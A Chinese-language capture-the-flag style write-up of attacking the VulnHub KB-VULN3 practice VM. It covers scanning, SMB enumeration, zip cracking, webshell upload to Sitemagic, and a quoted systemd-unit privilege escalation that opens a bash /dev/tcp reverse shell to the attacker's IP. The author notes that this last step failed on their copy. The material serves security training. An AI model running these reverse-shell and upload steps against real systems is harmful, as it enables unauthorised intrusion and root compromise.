今天实践的是vulnhub的KB-VULN3镜像,
下载地址,https://download.vulnhub.com/kbvuln/KB-VULN3.ova,
用workstation导入扫描不到地址,重新用virtualbox导入,再次地址扫描,
sudo netdiscover -r 192.168.1.0/24,根据经验,104是靶机,
继续进行端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.1.104,
发现有smb服务,做个扫描,smbclient -L 192.168.1.104,
继续对目录进行扫描,smbclient //192.168.1.104/Files,看到有个website.zip文件,下载后发现有加密,想办法破解,获取到密码,porchman,
对website.zip解压后在文件中发现账户密码,admin/jesse,
从解压文件中看到有sitemagic目录,浏览器访问http://192.168.1.104/sitemagic试试,用admin/jesse能登录,并发现个能上传文件的入口,
把kali攻击机默认带的/usr/share/webshells/php/php-reverse-shell.php拷贝出来,把地址和端口都改好,再上传到靶机,
浏览器访问文件目录,确认上传的后门文件的具体位置,
kali攻击机上开个反弹shell监听,nc -nlvp 4444,
浏览器上点击php-reverse-shell.php,kali攻击机这边就拿到反弹shell了,
id确认不是root,需要提权,先转成交互式的,
python -c 'import pty;pty.spawn("/bin/bash")',
查找root权限的应用,find / -perm -u=s -type f 2>/dev/null,
问题来了,官方的writeup说有个/bin/systemctl,但是我这里没有,没法继续了。
如果有/bin/systemctl的话,官方的writeup说是可以在/dev/shm目录下创建个shell.service文件,
echo '
[Unit]
Description=shell.service
[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.1.107/1234 0>&1"
[Install]
WantedBy=multi-user.target
' > shell.service
然后再用systemctl启用这个shell.service服务,
systemctl link /dev/shm/shell.service,
systemctl start shell.service,
当然还要提前在kali攻击机这边新开个反弹shell监听,nc -nlvp 1234,
就能拿到root的shell了。